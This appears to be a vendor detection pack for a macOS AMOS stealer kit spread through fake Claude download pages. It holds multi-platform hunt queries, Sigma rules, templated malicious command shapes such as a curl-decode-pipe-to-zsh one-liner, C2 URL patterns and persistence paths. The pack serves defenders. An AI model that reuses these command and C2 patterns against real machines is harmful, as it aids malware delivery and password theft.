| filter agent_os_type = ENUM.AGENT_OS_MAC
and event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_name in ("zsh", "bash", "sh")
| filter action_process_image_command_line ~= "base64\s+-D\s*\|\s*(/bin/)?zsh"
or action_process_image_command_line contains "/Library/Caches/DayNote/"
or action_process_image_command_line ~= "cdn\.jsdelivr\.net/gh/[^/\s]+/[^/\s]+@main/autoupd\.note"
| fields _time, agent_hostname, actor_process_image_path, action_process_image_command_line
| limit 200endpoint.os = "osx" event.type = "Process Creation" tgt.process.name in ("zsh", "bash", "sh") (tgt.process.cmdline matches "base64\\s+-D\\s*\\|\\s*(/bin/)?zsh" or tgt.process.cmdline contains "/Library/Caches/DayNote/" or tgt.process.cmdline contains "@main/autoupd.note")
| group n = count(), hosts = estimate_distinct(agent.uuid) by src.process.name
| sort -n
| limit 50| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process_name IN ("zsh", "bash", "sh")
(Processes.process="*base64*-D*zsh*" OR Processes.process="*/Library/Caches/DayNote/*"
OR Processes.process="*@main/autoupd.note*")
by Processes.dest Processes.parent_process_name Processes.process
| rename "Processes.*" as *
| where match(process, "base64\\s+-D\\s*\\|\\s*(/bin/)?zsh") OR like(process, "%/Library/Caches/DayNote/%")
OR match(process, "cdn\\.jsdelivr\\.net/gh/[^/\\s]+/[^/\\s]+@main/autoupd\\.note")
| head 200FROM logs-endpoint.events.process-*
| WHERE host.os.type == "macos"
AND process.name IN ("zsh", "bash", "sh")
AND (process.command_line RLIKE ".*base64[ ]+-D[ ]*[|][ ]*(/bin/)?zsh.*"
OR process.command_line LIKE "*/Library/Caches/DayNote/*"
OR process.command_line LIKE "*@main/autoupd.note*")
| KEEP @timestamp, host.name, process.parent.executable, process.command_line
| LIMIT 200title: Signed-App Dropper Piping Base64 or a jsDelivr Note into Zsh
id: c9c4242e-7b2e-4bba-b886-c381ab4e545e
status: experimental
description: |
Detects the shell started by the AMOS kit's Apple-signed DMG droppers: a dropped script that
decodes with base64 -D and pipes into zsh, or a jsDelivr-hosted autoupd.note fetched into
~/Library/Caches/DayNote/. Gatekeeper passes the signed app, so this shell is the first
observable step.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.stealth
- attack.defense-impairment
- attack.t1553.002
- attack.t1140
- attack.execution
- attack.t1059.004
- attack.command-and-control
- attack.t1105
- detection.emerging-threats
logsource:
product: macos
category: process_creation
detection:
selection_shell:
Image|endswith:
- '/zsh'
- '/bash'
- '/sh'
selection_cli_pipe:
CommandLine|re: 'base64\s+-D\s*\|\s*(/bin/)?zsh'
selection_cli_daynote:
CommandLine|contains: '/Library/Caches/DayNote/'
selection_cli_note:
CommandLine|re: 'cdn\.jsdelivr\.net/gh/[^/\s]+/[^/\s]+@main/autoupd\.note'
condition: selection_shell and 1 of selection_cli_*
falsepositives:
- Unknown
level: highSee: Attack chain · Timeline
openssl decrypting AES-128-CTR with an all-zero IV from a shell
The AES stage 1 decrypts its payload with openssl enc -d -aes-128-ctr and an all-zero IV. Variable tricks hide the tool names in the script, not in the process event, and legitimate scripts rarely use CTR with a fixed zero IV.
Every AES copy decoded: 108, from 14 August (first in VirusTotal) to 1 November, including the 2 October infection and the per-chunk-key variant. The 69 base64+gzip copies (8 May to 12 August; one more first reached VirusTotal on 12 September) are not covered, so whether the older wrapper stopped is not determined.
Process events with full argv for openssl.
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/openssl$/
| CommandLine=/enc\s+-d\s+-aes-128-ctr/
| CommandLine=/-iv\s+0{32}/
| table([@timestamp, ComputerName, ParentBaseFileName, CommandLine])
| head(200)DeviceProcessEvents | where Timestamp > ago(7d) | where FileName =~ "openssl" | where ProcessCommandLine contains "-aes-128-ctr" | where ProcessCommandLine contains "-iv 00000000000000000000000000000000" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine | take 200
config timeframe = 7d
| dataset = xdr_data
| filter agent_os_type = ENUM.AGENT_OS_MAC
and event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_name = "openssl"
and action_process_image_command_line contains "-aes-128-ctr"
and action_process_image_command_line contains "-iv 00000000000000000000000000000000"
| fields _time, agent_hostname, actor_process_image_name, action_process_image_command_line
| limit 200endpoint.os = "osx" event.type = "Process Creation" tgt.process.name = "openssl" tgt.process.cmdline contains "-aes-128-ctr" tgt.process.cmdline contains "-iv 00000000000000000000000000000000" | group n = count(), hosts = estimate_distinct(agent.uuid) by src.process.name | sort -n | limit 50
| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process_name="openssl" Processes.process="*-aes-128-ctr*"
Processes.process="*-iv 00000000000000000000000000000000*"
by Processes.dest Processes.parent_process_name Processes.process
| rename "Processes.*" as *
| head 200FROM logs-endpoint.events.process-*
| WHERE host.os.type == "macos"
AND process.name == "openssl"
AND process.command_line LIKE "*-aes-128-ctr*"
AND process.command_line LIKE "*-iv 00000000000000000000000000000000*"
| KEEP @timestamp, host.name, process.parent.name, process.command_line
| LIMIT 200title: Openssl AES-128-CTR Decryption with an All-Zero IV
id: f4dbb654-64e6-4913-89ca-7bc4bff1b03b
status: experimental
description: |
Detects openssl decrypting AES-128-CTR with an all-zero IV, as the AMOS kit's AES stage-1 loader does.
Legitimate scripts rarely use CTR mode with a fixed zero IV.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.stealth
- attack.t1140
- attack.t1027
- attack.execution
- attack.t1059.004
logsource:
product: macos
category: process_creation
detection:
selection:
Image|endswith: '/openssl'
CommandLine|contains|all:
- '-aes-128-ctr'
- '-iv 00000000000000000000000000000000'
condition: selection
falsepositives:
- Unknown
level: highSee: Attack chain · Timeline
Executable launched from /tmp/helper or a hidden /tmp dotfile, or quarantine cleared on one
Stage 2 drops the stealer in /tmp (/tmp/helper until late August, a hidden /tmp/.<random> since), clears its quarantine with xattr -c and runs it. The query covers both locations and the xattr -c on them.
Execution from /tmp held in every build decoded, 8 May to 1 November. The file name changed once: /tmp/helper from 8 May to about 25 August, a hidden /tmp/.<5-10 lowercase alnum> from 29 August. Both shapes are matched.
Process events carrying the executable’s full path. Note that /tmp resolves to /private/tmp, and platforms differ in which form they record – the regex accepts both.
Filed as alert on structure. Legitimate updaters that stage binaries under /tmp would push it to hunt; exclude them by signer rather than by file name.
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/^\/(private\/)?tmp\/(\.[A-Za-z0-9_]{4,16}|helper)$/
or (ImageFileName=/\/xattr$/ and CommandLine=/-c\s+\/(private\/)?tmp\/(\.[A-Za-z0-9_]{4,16}|helper)(\s|$)/)
| table([@timestamp, ComputerName, ImageFileName, ParentBaseFileName, CommandLine])
| head(200)DeviceProcessEvents
| where Timestamp > ago(7d)
| where FolderPath matches regex @"^/(private/)?tmp/(\.[A-Za-z0-9_]{4,16}|helper)$"
or (FileName =~ "xattr" and ProcessCommandLine matches regex @"-c\s+/(private/)?tmp/(\.[A-Za-z0-9_]{4,16}|helper)(\s|$)")
| project Timestamp, DeviceName, FolderPath, InitiatingProcessFileName, ProcessCommandLine
| take 200config timeframe = 7d
| dataset = xdr_data
| filter agent_os_type = ENUM.AGENT_OS_MAC
and event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_path ~= "^/(private/)?tmp/(\.[A-Za-z0-9_]{4,16}|helper)$"
or (action_process_image_name = "xattr"
and action_process_image_command_line ~= "-c\s+/(private/)?tmp/(\.[A-Za-z0-9_]{4,16}|helper)(\s|$)")
| fields _time, agent_hostname, action_process_image_path, actor_process_image_name, action_process_image_command_line
| limit 200endpoint.os = "osx" event.type = "Process Creation" (tgt.process.image.path matches "^/(private/)?tmp/(\\.[A-Za-z0-9_]{4,16}|helper)$" or (tgt.process.name = "xattr" tgt.process.cmdline matches "-c\\s+/(private/)?tmp/(\\.[A-Za-z0-9_]{4,16}|helper)"))
| group n = count(), hosts = estimate_distinct(agent.uuid) by src.process.name
| sort -n
| limit 50| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d (Processes.process_path="/tmp/*" OR Processes.process_path="/private/tmp/*"
OR Processes.process_name="xattr")
by Processes.dest Processes.parent_process_name Processes.process_name Processes.process_path Processes.process
| rename "Processes.*" as *
| where match(process_path, "^/(private/)?tmp/(\\.[A-Za-z0-9_]{4,16}|helper)$")
OR (process_name="xattr" AND match(process, "-c\\s+/(private/)?tmp/(\\.[A-Za-z0-9_]{4,16}|helper)(\\s|$)"))
| head 200FROM logs-endpoint.events.process-*
| WHERE host.os.type == "macos"
AND (process.executable RLIKE "/(private/)?tmp/(\\.[A-Za-z0-9_]{4,16}|helper)"
OR (process.name == "xattr" AND process.command_line RLIKE ".*-c[ ]+/(private/)?tmp/(\\.[A-Za-z0-9_]{4,16}|helper).*"))
| KEEP @timestamp, host.name, process.executable, process.parent.name, process.command_line
| LIMIT 200title: Executable Launched from /tmp/helper or a Hidden /tmp Dotfile
id: 8659172b-c611-4262-8603-8494039c3914
status: experimental
description: |
Detects a binary run from /tmp/helper or a hidden /tmp/.<random> file, or xattr -c clearing quarantine
on one. Stage 2 of the AMOS kit drops the stealer there, clears its quarantine and runs it.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.stealth
- attack.defense-impairment
- attack.t1553.001
- attack.t1564.001
- attack.execution
- attack.t1204.002
logsource:
product: macos
category: process_creation
detection:
selection_exec:
Image|re: '^/(private/)?tmp/(\.[A-Za-z0-9_]{4,16}|helper)$'
selection_xattr:
Image|endswith: '/xattr'
CommandLine|re: '-c\s+/(private/)?tmp/(\.[A-Za-z0-9_]{4,16}|helper)(\s|$)'
condition: 1 of selection_*
falsepositives:
- Installers that unpack a helper binary to /tmp
level: highSee: Attack chain · Timeline
osascript dialog with a hidden answer launched from a shell or an unsigned binary
The stealer asks for the login password through an AppleScript dialog with a hidden answer field posing as a system prompt. IT scripts prompt the same way, so group by parent process first.
Shown in the published infections with prompt screenshots (Unit 42’s 5 August, malware-traffic-analysis.net’s 2 October), and long-standing across the AMOS family. Not visible in our own decodes, because the binaries’ strings are encrypted.
Process events with the osascript command line. Group by parent rather than listing raw rows: neighbouring events (dscl authonly) carry the typed password in argv.
IT and MDM password prompts use the same dialog. Deploy grouped by parent, and exclude signed IT tooling by signer before alerting.
#event_simpleName=ProcessRollup2 event_platform=Mac | ImageFileName=/\/osascript$/ | CommandLine=/hidden answer/i | groupBy([ParentBaseFileName], function=[count(as=n), count(aid, distinct=true, as=hosts)]) | head(100)
DeviceProcessEvents | where Timestamp > ago(7d) | where FileName =~ "osascript" | where ProcessCommandLine contains "hidden answer" | summarize n = count(), hosts = dcount(DeviceId) by InitiatingProcessFileName | take 100
config timeframe = 7d
| dataset = xdr_data
| filter agent_os_type = ENUM.AGENT_OS_MAC
and event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_name = "osascript"
and action_process_image_command_line contains "hidden answer"
| comp count() as n, count_distinct(agent_id) as hosts by actor_process_image_name
| limit 100endpoint.os = "osx" event.type = "Process Creation" tgt.process.name = "osascript" tgt.process.cmdline contains "hidden answer" | group n = count(), hosts = estimate_distinct(agent.uuid) by src.process.name, src.process.parent.name | sort -n | limit 50
| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process_name="osascript" Processes.process="*hidden answer*"
by Processes.parent_process_name
| rename "Processes.*" as *
| head 100FROM logs-endpoint.events.process-*
| WHERE host.os.type == "macos"
AND process.name == "osascript"
AND process.command_line LIKE "*hidden answer*"
| STATS n = COUNT(*), hosts = COUNT_DISTINCT(host.name) BY process.parent.name
| LIMIT 100title: Osascript Dialog with a Hidden Answer
id: 72585756-0381-4308-9ad4-9a3f5c217588
status: experimental
description: |
Detects osascript showing a dialog with a hidden answer field, the password prompt AMOS poses as a
system dialog. Group by parent process before alerting.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.credential-access
- attack.t1056.002
- attack.execution
- attack.t1059.002
logsource:
product: macos
category: process_creation
detection:
selection:
Image|endswith: '/osascript'
CommandLine|contains: 'hidden answer'
condition: selection
falsepositives:
- IT and MDM scripts that prompt for a password the same way; exclude them by parent or signer
level: highSee: Attack chain
Hunt: run periodically, do not alert
3 huntscurl fetching the kit’s stage-1 or payload URL shapes
curl fetching the kit’s server-side URL shapes: stage 1 from /curl/<8-12>/<12-32>, with or without a .txt, .dat or .json extension, and payloads from /f/<22>/<8> or a 43-character builder-token path. The shapes outlive any one host but can change in one release.
/curl/<8-12>/<16-24> stage-1 paths (update.sh or setup.sh behind the DMG droppers) in every decoded build with a fetchable stage 1 through 1 November; /curl/<64 hex> alongside it in paste commands from May to August and in October; builder-token payload URLs in VirusTotal from 22 May to 29 September (one late copy first seen 14 October); /f/<22>/<8> payload paths from 25 September to 1 November, the 22-character segment drawing ‘-’ and ‘_’.
curl argv with the full URL.
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/curl$/
| CommandLine=/https?:\/\/[^\/\s]+\/curl\/([a-z0-9]{8,12}\/([A-Za-z0-9_-]{12,32}(\.(txt|dat|json))?|(update|setup)\.sh)|[0-9a-f]{64})([\s'"?]|$)/
or CommandLine=/https?:\/\/[^\/\s]+\/f\/[a-z0-9_-]{20,24}\/[a-z0-9]{6,10}([\s'"]|$)/
or CommandLine=/https?:\/\/[^\/\s]+\/[A-Za-z0-9_-]{43}\/[A-Za-z0-9_-]{2,16}\/update/
| table([@timestamp, ComputerName, ParentBaseFileName, CommandLine])
| head(200)DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "curl"
| where ProcessCommandLine matches regex @"https?://[^/\s]+/curl/([a-z0-9]{8,12}/([A-Za-z0-9_-]{12,32}(\.(txt|dat|json))?|(update|setup)\.sh)|[0-9a-f]{64})([\s'""?]|$)"
or ProcessCommandLine matches regex @"https?://[^/\s]+/f/[a-z0-9_-]{20,24}/[a-z0-9]{6,10}([\s'""]|$)"
or ProcessCommandLine matches regex @"https?://[^/\s]+/[A-Za-z0-9_-]{43}/[A-Za-z0-9_-]{2,16}/update"
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
| take 200config timeframe = 7d
| dataset = xdr_data
| filter agent_os_type = ENUM.AGENT_OS_MAC
and event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_name = "curl"
| filter action_process_image_command_line ~= "https?://[^/\s]+/curl/([a-z0-9]{8,12}/([A-Za-z0-9_-]{12,32}(\.(txt|dat|json))?|(update|setup)\.sh)|[0-9a-f]{64})([\s'\"?]|$)"
or action_process_image_command_line ~= "https?://[^/\s]+/f/[a-z0-9_-]{20,24}/[a-z0-9]{6,10}"
or action_process_image_command_line ~= "https?://[^/\s]+/[A-Za-z0-9_-]{43}/[A-Za-z0-9_-]{2,16}/update"
| fields _time, agent_hostname, actor_process_image_name, action_process_image_command_line
| limit 200endpoint.os = "osx" event.type = "Process Creation" tgt.process.name = "curl"
(tgt.process.cmdline matches "https?://[^/ ]+/curl/([a-z0-9]{8,12}/([A-Za-z0-9_-]{12,32}(\\.(txt|dat|json))?|(update|setup)\\.sh)|[0-9a-f]{64})"
or tgt.process.cmdline matches "https?://[^/ ]+/f/[a-z0-9_-]{20,24}/[a-z0-9]{6,10}"
or tgt.process.cmdline matches "https?://[^/ ]+/[A-Za-z0-9_-]{43}/[A-Za-z0-9_-]{2,16}/update")
| group n = count(), hosts = estimate_distinct(agent.uuid) by src.process.name
| sort -n
| limit 50| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process_name="curl"
(Processes.process="*/curl/*" OR Processes.process="*/f/*" OR Processes.process="*/update*")
by Processes.dest Processes.parent_process_name Processes.process
| rename "Processes.*" as *
| where match(process, "https?://[^/\\s]+/(curl/([a-z0-9]{8,12}/([A-Za-z0-9_-]{12,32}(\\.(txt|dat|json))?|(update|setup)\\.sh)|[0-9a-f]{64})|f/[a-z0-9_-]{20,24}/[a-z0-9]{6,10}|[A-Za-z0-9_-]{43}/[A-Za-z0-9_-]{2,16}/update)")
| head 200FROM logs-endpoint.events.process-*
| WHERE host.os.type == "macos"
AND process.name == "curl"
AND process.command_line RLIKE ".*https?://[^/ ]+/(curl/([a-z0-9]{8,12}/([A-Za-z0-9_-]{12,32}(\\.(txt|dat|json))?|(update|setup)\\.sh)|[0-9a-f]{64})|f/[a-z0-9_-]{20,24}/[a-z0-9]{6,10}|[A-Za-z0-9_-]{43}/[A-Za-z0-9_-]{2,16}/update).*"
| KEEP @timestamp, host.name, process.parent.name, process.command_line
| LIMIT 200title: Curl Fetching the AMOS Kit's Stage-1 or Payload URL Shapes
id: 61c147d4-df3f-4330-a4e5-21fa9685f8fd
status: experimental
description: |
Hunts for curl fetching the AMOS kit's server-side URL shapes: stage 1 from
/curl/<8-12>/<12-32>, with or without a .txt, .dat or .json extension, and payloads from
/f/<22>/<8> or a 43-character builder-token path. The shapes outlive any one host but can
change in one release.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.command-and-control
- attack.t1105
- attack.t1071.001
- detection.threat-hunting
logsource:
product: macos
category: process_creation
detection:
selection:
Image|endswith: '/curl'
CommandLine|re:
- 'https?://[^/\s]+/curl/([a-z0-9]{8,12}/([A-Za-z0-9_-]{12,32}(\.(txt|dat|json))?|(update|setup)\.sh)|[0-9a-f]{64})([\s''"?]|$)'
- 'https?://[^/\s]+/f/[a-z0-9_-]{20,24}/[a-z0-9]{6,10}([\s''"]|$)'
- 'https?://[^/\s]+/[A-Za-z0-9_-]{43}/[A-Za-z0-9_-]{2,16}/update'
condition: selection
falsepositives:
- Other services that use similar random path layouts
level: mediumSee: Attack chain · Indicators
Root shell resolving the console user and launching a per-user binary in a tight loop
The backdoor’s loop resolves the console user with stat -f %Su /dev/console every five seconds. MDM tools use the same lookup, so the query keeps only the rate.
Same loop shape in the September and October published infections and in four launcher copies first seen 8 to 18 October (one adds a pgrep check before relaunching); the June build looped in osascript.
Process events for stat with argv and the parent name.
#event_simpleName=ProcessRollup2 event_platform=Mac | ImageFileName=/\/stat$/ | CommandLine=/-f\s+"?%Su"?\s+\/dev\/console/ | UID=0 | groupBy([aid, ParentBaseFileName], function=[count(as=n)], limit=max) | n >= 5000 | groupBy([ParentBaseFileName], function=[count(as=hosts), sum(n, as=events), max(n, as=max_per_host)]) | head(100)
DeviceProcessEvents | where Timestamp > ago(7d) | where FileName =~ "stat" | where ProcessCommandLine matches regex @"-f\s+""?%Su""?\s+/dev/console" | summarize n = count() by DeviceId, DeviceName, InitiatingProcessFileName, InitiatingProcessParentFileName, hr = bin(Timestamp, 1h) | where n >= 360 | summarize device_hours = count(), max_per_hour = max(n), first_hour = min(hr), last_hour = max(hr) by DeviceName, InitiatingProcessFileName, InitiatingProcessParentFileName | take 100
config timeframe = 7d | dataset = xdr_data | filter agent_os_type = ENUM.AGENT_OS_MAC and event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START | filter action_process_image_name = "stat" and action_process_image_command_line contains "%Su" and action_process_image_command_line contains "/dev/console" | bin _time span = 1h | comp count() as per_hour by agent_id, _time, causality_actor_process_image_name | filter per_hour >= 300 | comp count() as hot_hours, count_distinct(agent_id) as hosts by causality_actor_process_image_name | sort desc hot_hours | limit 50
endpoint.os = "osx" event.type = "Process Creation" tgt.process.name = "stat" tgt.process.cmdline contains "%Su" tgt.process.cmdline contains "/dev/console" | let hr = floor(timestamp / 3600000000000) | group per_hour = count() by agent.uuid, hr, src.process.name | filter per_hour >= 300 | group hot_hours = count(), hosts = estimate_distinct(agent.uuid) by src.process.name | sort -hot_hours | limit 50
| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process_name="stat" Processes.process="*%Su*/dev/console*"
by Processes.dest Processes.parent_process_name _time span=1h
| rename "Processes.*" as *
| where count >= 300
| stats count as hot_hours dc(dest) as hosts by parent_process_name
| head 100FROM logs-endpoint.events.process-*
| WHERE host.os.type == "macos"
AND process.name == "stat"
AND process.command_line LIKE "*%Su*/dev/console*"
| STATS n = COUNT(*), hosts = COUNT_DISTINCT(host.name) BY process.parent.name
| LIMIT 100title: Console User Lookup via Stat
id: 87a66575-116b-40dd-9cee-b3d51b800683
name: macos_stat_console_user_lookup
status: experimental
description: |
Base rule for the correlation below: stat -f %Su /dev/console, the console-user lookup the AMOS kit's
backdoor loop runs every five seconds. MDM tools use the same lookup, so only its rate is of interest.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.persistence
- attack.t1543.004
- attack.execution
- attack.t1059.004
- detection.threat-hunting
logsource:
product: macos
category: process_creation
detection:
selection:
Image|endswith: '/stat'
CommandLine|re: '-f\s+"?%Su"?\s+/dev/console'
condition: selection
falsepositives:
- MDM and login scripts that resolve the console user
level: low
---
title: Console User Lookup in a Tight Loop
id: 0639ac12-b93d-47bd-b08e-f36fa2a2c162
status: experimental
description: |
Hunts for a parent that resolves the console user at least 360 times in an hour, the rate of the AMOS
kit's backdoor loop (once every five seconds).
author: Mate Security
date: 2026-10-08
tags:
- attack.persistence
- attack.t1543.004
- detection.threat-hunting
correlation:
type: event_count
rules:
- macos_stat_console_user_lookup
group-by:
- ComputerName
- ParentImage
timespan: 1h
condition:
gte: 360
falsepositives:
- MDM agents that poll the console user frequently
level: mediumSee: Attack chain
DNS for Claude-branded domains outside Anthropic’s own
Lists Claude-branded domains resolved outside Anthropic’s own, for review. The lures sat on claude-desk-code.com and claude-desktop.com; the next storefront will borrow another brand, so this is a hunt, not a durable anchor.
Claude branding throughout: a fake Claude Code page on 11 May, shared Claude chats in Zscaler’s July report, a Claude Code page in Cato’s 24 August report, claude-desktop.com serving Claude.dmg from 13 September, and claude-desk-code.com registered 28 September. Other storefronts posed as Homebrew, OpenAI Codex, a macOS toolkit, a disk cleaner and, in October, ChatGPT.
DNS telemetry with the query name.
#event_simpleName=DnsRequest | DomainName=/claude/i | DomainName=/\./ | DomainName!=/(^|\.)(claude\.ai|claude\.com|anthropic\.com|claudeusercontent\.com|claude\.site|claudemcpcontent\.com)\.?$/i | DomainName!=/\.(lan|local|home|internal|box|localdomain)\.?$/i | groupBy([DomainName], function=[count(as=n), count(aid, distinct=true, as=hosts)]) | sort(n, limit=200) | head(200)
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "DnsQueryResponse"
| extend q = tolower(tostring(parse_json(AdditionalFields).DnsQueryString))
| where q contains "claude"
| where not(q matches regex @"(^|\.)(claude\.ai|claude\.com|anthropic\.com|claudeusercontent\.com|claudemcpcontent\.com|claude\.site)$")
| where q matches regex @"\.[a-z]{2,63}$" and not(q contains "anthropic.")
| summarize n = count(), hosts = dcount(DeviceId) by q
| top 200 by n
| take 200config timeframe = 7d | dataset = xdr_data | filter event_type = ENUM.NETWORK and action_external_hostname contains "claude" | filter action_external_hostname !~= "(^|\.)(claude\.ai|claude\.com|anthropic\.com|claudeusercontent\.com|claudemcpcontent\.com|claude\.site)$" | comp count() as n, count_distinct(agent_id) as hosts by action_external_hostname | sort desc n | limit 200
event.dns.request contains "claude" !(event.dns.request matches "(^|\\.)(claude\\.ai|claude\\.com|anthropic\\.com|claudeusercontent\\.com|claude\\.site)$") | group n = count(), hosts = estimate_distinct(agent.uuid) by event.dns.request, endpoint.os | sort -n | limit 100
| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Network_Resolution
where earliest=-7d DNS.query="*claude*"
by DNS.query
| rename "DNS.*" as *
| where NOT match(lower(query), "(^|\\.)(claude\\.ai|claude\\.com|anthropic\\.com|claudeusercontent\\.com|claudemcpcontent\\.com|claude\\.site)$")
| sort - count
| head 200FROM logs-*
| WHERE dns.question.name LIKE "*claude*"
AND NOT dns.question.name RLIKE "(.*\\.)?(claude\\.ai|claude\\.com|anthropic\\.com|claudeusercontent\\.com|claudemcpcontent\\.com|claude\\.site)"
| STATS n = COUNT(*), hosts = COUNT_DISTINCT(host.name) BY dns.question.name
| SORT n DESC
| LIMIT 200title: DNS Query for a Claude-Branded Domain Outside Anthropic's Own
id: 1def6e86-0c47-48aa-b471-7a3aa7b4cb70
status: experimental
description: |
Hunts for DNS queries for Claude-branded domains that are not Anthropic's, for review. The AMOS kit's
lures sat on claude-desk-code.com and claude-desktop.com; the next storefront may borrow another brand.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.resource-development
- attack.t1583.001
- attack.initial-access
- attack.t1189
- detection.threat-hunting
logsource:
category: dns
detection:
selection:
query|contains: 'claude'
filter_main_anthropic_exact:
query:
- 'claude.ai'
- 'claude.com'
- 'anthropic.com'
- 'claudeusercontent.com'
- 'claudemcpcontent.com'
- 'claude.site'
filter_main_anthropic_sub:
query|endswith:
- '.claude.ai'
- '.claude.com'
- '.anthropic.com'
- '.claudeusercontent.com'
- '.claudemcpcontent.com'
- '.claude.site'
condition: selection and not 1 of filter_main_*
falsepositives:
- Legitimate third-party sites and integrations that use the Claude name
level: lowSee: Attack chain · Indicators
Quick reference: what the kit looks like
5 patternsProcess: the pasted command
The clipboard one-liner and the stage-1 decrypt both run from a user’s shell.
curl -s $(echo "<base64>" | openssl base64 -d -A) | zsh <var><var> -r -p | <var><var> enc -d -aes-128-ctr -K <md5> \ -iv 00000000000000000000000000000000 | <var><var>
Network: the paste beacon
POSTs with two custom headers; since July their values start with Ag. Exfil and progress go to bare IPs on port 80.
GET /curl/<8-12>/<16-24>[.json|.txt|.dat] (stage 1) GET /curl/<64 hex> (stage 1, older form, still used) POST /api/metrics/run?event=pasted|stager user: Ag… BuildID: Ag… POST http://<ip>/contact POST http://<ip>/api/metrics/run?event=stage&stage=<name>
Persistence: Apple labels in the wrong place
Apple’s own daemons live in /System/Library/LaunchDaemons. A com.apple.* label in /Library/LaunchDaemons that runs bash is a strong signal.
/Library/LaunchDaemons/com.apple.accountsd.helper.plist /Library/LaunchDaemons/com.apple.metadata.mds.worker.plist ~/Library/Application Support/.com.apple.accountsd/ ~/Library/Application Support/.com.apple.metadata.mds/
Signed DMG droppers
A signed app launcher runs a bundled helper.sh that fetches a note from a jsDelivr-hosted GitHub repository, or the app drops a short script whose first line is a two-word marker comment (seen so far: MEW_WHISK, NOCK_SHIFT). Both end in a remote script piped to zsh.
~/Library/Caches/DayNote/updates/remote.sh ~/Library/Logs/DayNote-helper.log https://cdn.jsdelivr.net/gh/<user>/<repo>@main/autoupd.note # MEW_WHISK | # NOCK_SHIFT … | base64 -D | zsh curl -s $(echo "<b64>" | openssl base64 -d -A) | zsh
Backdoor traffic
Module C2 polling, versioned. The server issues the IDs at enrollment and the module directories store them. The uid in /ws/sync/x3 is the /api/tasks ID in hex.
POST /api/join/ GET /ws/sync/x3?uid=<32 hex>&v=<ver>&s=<64 hex> GET /api/tasks/<id>?v=1.4|2.0|2.1|2.2|3.0 POST /api/feed/register GET /api/feed/items/<32 hex>
Indicators
Indicator register
Values absent from every public report and feed we checked are marked in amber. Per-victim and per-build values (random temp paths, bot IDs) are left out; hunt their shapes instead.
Limits
Caveats
- Family. AMOS is the original post’s and other vendors’ identification (Zscaler files some earlier hosting under MacSync). We did not reverse-engineer the payloads.
- Counts and dates are floors. VirusTotal searches are capped, and a first sighting is the oldest copy we found, so the kit is larger and older than shown.
- What is listed. Values tied to the kit by our decoding; by a sandbox run of a decoded sample, a signed DMG or a published infection we tied; by a build’s sandbox contact with one of the kit’s exfil servers; by a signing identity; or by a backdoor bot ID shared with a known C2 server; plus hosts carrying the kit’s exact builder-token or payload URLs. A shared URL shape or template alone is not enough.
- “Discovered by Mate” means absent from every public report and ThreatFox entry we checked as of 3 November 2026 (ThreatFox entries to 20 October).
- Naming. Some feeds tag this kit “Foxveil”; Cato CTRL’s Foxveil is an unrelated Windows loader.
- VT ratios are as fetched between 5 October and 3 November 2026 and will change.
References
Prior reporting
- malware-traffic-analysis.net, 2026-10-02: AMOS from a malicious ad impersonating Claude Code (the infection analysed here)
- malware-traffic-analysis.net, 2026-09-10: Atomic macOS (AMOS) stealer infection
- malware-traffic-analysis.net, 2026-06-09: AMOS infection from a fake Homebrew page
- malware-traffic-analysis.net, 2026-05-11: malicious ad leads to macOS malware infection
- Moonlock, 2025: AMOS backdoor for persistent access
- pcapai, 2026-06-23: Reading the AMOS C2 protocol from a PCAP
- Zscaler, 2026-07-15: ClaudeFix, shared Claude chats meet ClickFix
- SANS ISC diary 33208, 2026-08-02: Atomic macOS (AMOS) stealer infection
- Cato CTRL, 2026-08-24: When trust becomes the payload in a fake Codex ClickFix campaign
- Deriv, 2026-08-28: The page that showed me malware and showed the scanners a billing app
- Deriv, 2026-09-02: A crypto phishing cluster linked to the ClickFix campaign
- Deriv threat-research: fake Codex AMOS IOCs
- lostsh, 2026-09-03: Anatomy of a ClickFix infection
- ADAMnetworks, 2026-09-13: HBO Max ads exposed the PasteSwitch ClickFix operation
